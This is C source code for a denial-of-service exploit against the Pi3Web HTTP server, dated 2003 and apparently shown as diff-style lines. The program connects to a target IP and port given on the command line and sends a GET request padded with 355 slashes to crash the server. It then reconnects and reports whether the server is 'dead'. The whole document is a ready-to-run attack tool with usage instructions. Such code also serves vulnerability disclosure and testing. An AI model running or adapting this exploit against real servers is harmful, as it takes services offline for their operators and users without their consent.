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- /*
- * Unix Version of the Pi3web DoS.
- * ----------------------------------------------------------
- * Info: Pi3Web Server is vulnerable to a denial of Service.
- * ----------------------------------------------------------
- * VULNERABILITY:
- * GET //// <- 354
- *
- * The bug was found by aT4r@3wdesign.es 04/26/2003
- * www.3wdesign.es Security
- * ----------------------------------------------------------
- * Unix Version Credits.
- * AUTHOR : Angelo Rosiello
- * CONTACT: angelo@rosiello.org, angelo@dtors.net
- *
- */
-
- #include <stdio.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <netinet/in.h>
- #include <string.h>
- #include <assert.h>
-
- void addr_initialize();
-
- int main(int argc, char **argv)
- {
- int i, port, sd, rc;
- char buffer[355];
- char *get = "GET";
- char packet[360];
- struct sockaddr_in server;
-
- if(argc > 3 || argc < 2)
- {
- printf("USAGE: %s IP PORT\n", argv[0]);
- printf("e.g. ./pi3web-DoS 127.0.0.1 80\n");
- exit(0);
- }
- if(argc == 2) port = 80;
- else port = atoi(argv[2]);
-
- for(i = 0; i < 355; i++) buffer[i] = '/'; //Build the malformed request
- sprintf(packet, "%s %s\n", get, buffer);
- addr_initialize(&server, port, (long)inet_addr(argv[1]));
-
- sd = socket(AF_INET, SOCK_STREAM, 0);
- if(sd < 0) perror("Socket");
- assert(sd >= 0);
- rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
- if(rc != 0) perror("Connect");
- assert(rc == 0);
- printf("\n\t\t(c) 2003 DTORS Security\n");
- printf("\t\tUnix Version DoS for Pi3web\n");
- printf("\t\tby Angelo Rosiello\n\n");
- write(sd, packet, strlen(packet)); //Caput!
- printf("Malformed packet sent!\n");
- close(sd);
-
- printf("Checking if the server crashed...\n");
- sleep(3);
-
- sd = socket(AF_INET, SOCK_STREAM, 0);
- if(sd < 0) perror("Socket");
- assert(sd >= 0);
- rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
- if(rc != 0)
- {
- printf("The server is dead!\n");
- exit(0);
- }
- else if(rc == 0) printf("The server is not vulnerable!\n");
- close(sd);
- exit(0);
- }
-
- void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
- {
- address -> sin_family = AF_INET;
- address -> sin_port = htons((u_short)port);
- address -> sin_addr.s_addr = IPaddr;
- }
-
- /*EOF*/
-
-